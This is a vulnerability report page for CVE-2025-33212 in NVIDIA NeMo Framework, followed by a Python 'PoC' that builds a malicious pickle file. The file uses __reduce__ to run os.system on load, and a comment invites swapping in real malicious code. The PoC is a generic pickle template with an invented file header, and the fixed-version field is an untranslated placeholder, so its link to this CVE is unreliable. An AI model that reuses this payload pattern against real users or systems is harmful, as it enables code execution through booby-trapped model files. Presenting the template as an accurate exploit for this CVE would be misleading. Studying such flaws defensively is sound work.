Security Vulnerability Report
中文
CVE-2025-33212 CVSS 7.3 HIGH

CVE-2025-33212

Published: 2025-12-16 18:16:11
Last Modified: 2026-01-09 22:00:42

Description

NVIDIA NeMo Framework contains a vulnerability in model loading that could allow an attacker to exploit improper control mechanisms if a user loads a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, denial of service, and data tampering.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA NeMo Framework < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33212 PoC - Malicious NeMo Model File # This PoC demonstrates the model loading vulnerability in NVIDIA NeMo Framework # Usage: Load the generated malicious model file through NeMo Framework import pickle import os def create_malicious_model(): """ Create a malicious pickle-based payload that exploits improper control mechanisms in NeMo model loading. """ # Malicious class that executes code on unpickling class MaliciousModel: def __reduce__(self): # Code execution payload - replace with actual malicious code cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Serialize the malicious object malicious_payload = pickle.dumps(MaliciousModel()) # Save as fake NeMo model file with open('malicious_nemo_model.nemo', 'wb') as f: f.write(b'NEMO_MODEL_V1\n') f.write(malicious_payload) print("Malicious model file created: malicious_nemo_model.nemo") def load_vulnerable_model(model_path): """ Simulates vulnerable NeMo model loading DO NOT run this on production systems """ try: with open(model_path, 'rb') as f: header = f.read(12) if header.startswith(b'NEMO_MODEL_V1'): # Vulnerable: Direct unpickling without validation payload = f.read() return pickle.loads(payload) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": create_malicious_model()

References

Raw JSON Data

JSON
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